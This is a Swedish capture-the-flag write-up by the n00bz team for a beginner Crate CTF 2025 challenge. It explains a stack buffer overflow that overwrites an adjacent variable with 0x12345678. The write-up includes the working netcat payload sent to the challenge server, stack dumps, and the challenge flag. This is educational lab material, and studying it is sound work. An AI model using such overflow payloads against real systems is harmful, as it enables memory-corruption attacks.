Kan man verkligen ändra sig? 2

Beskrivning

Så det går att ta sönder saker, men kan du se till att variabeln får ett förutbestämt värde?

Lösning

Likt förra utmaningen så har vi en prompt där vi ska skriva in något. Skriver vi in lite data så ändras värdet på variabeln changeme till något annat än det ursprungliga värdet.

Värdet är: 0xaaaaaaaa
Skriv något tack: AAAAAAAAAAAAAAAAAAAA
Du skrev: AAAAAAAAAAAAAAAAAAAA

Stackdump av stack_variables (0x7ffde511edfc)
Offset              Variabel   ASCII (och hex)
--------------------------------------------------------------------------------
     0               buffer ┬     A (0x41)
     1                      │     A (0x41)
     2                      │     A (0x41)
     3                      │     A (0x41)
     4                      │     A (0x41)
     5                      │     A (0x41)
     6                      │     A (0x41)
     7                      └     A (0x41)
     8             changeme ┬     A (0x41)
     9                      │     A (0x41)
    10                      │     A (0x41)
    11                      └     A (0x41)

Värdet är nu 0x41414141, det var inte 0x12345678.
Prova igen!

Här ska vi få värdet att bli 0x12345678. Då behöver vi skicka in data på något annat sätt än att skriva in det.

Ett sätt är att använda echo -e "AAAAAAAA\x78\x56\x34\x12" | nc challs.crate.nu 21572. Detta skickar in AAAAAAAA följt av de fyra byte som behövs för att skriva över changeme till 0x12345678.

Värdet är: 0xaaaaaaaa
Skriv något tack: Du skrev: AAAAAAAAxV4
Z
Stackdump av stack_variables (0x7ffcbb9e8b0c)
Offset              Variabel   ASCII (och hex)
--------------------------------------------------------------------------------
     0               buffer ┬     A (0x41)
     1                      │     A (0x41)
     2                      │     A (0x41)
     3                      │     A (0x41)
     4                      │     A (0x41)
     5                      │     A (0x41)
     6                      │     A (0x41)
     7                      └     A (0x41)
     8             changeme ┬     x (0x78)
     9                      │     V (0x56)
    10                      │     4 (0x34)
    11                      └     � (0x12)

Oj, nu är värdet plötsligt 0x12345678! Här har du flaggan: cratectf{surely_this_cannot_be_used_to_execute_code?_right?}

Flagga: cratectf{surely_this_cannot_be_used_to_execute_code?_right?}

n00bz

Home of the n00bz CTF team.


Write-up för CTF-utmaningen 'Kan man verkligen ändra sig? 2' från Crate CTF 2025

By n00bz, 2025-11-16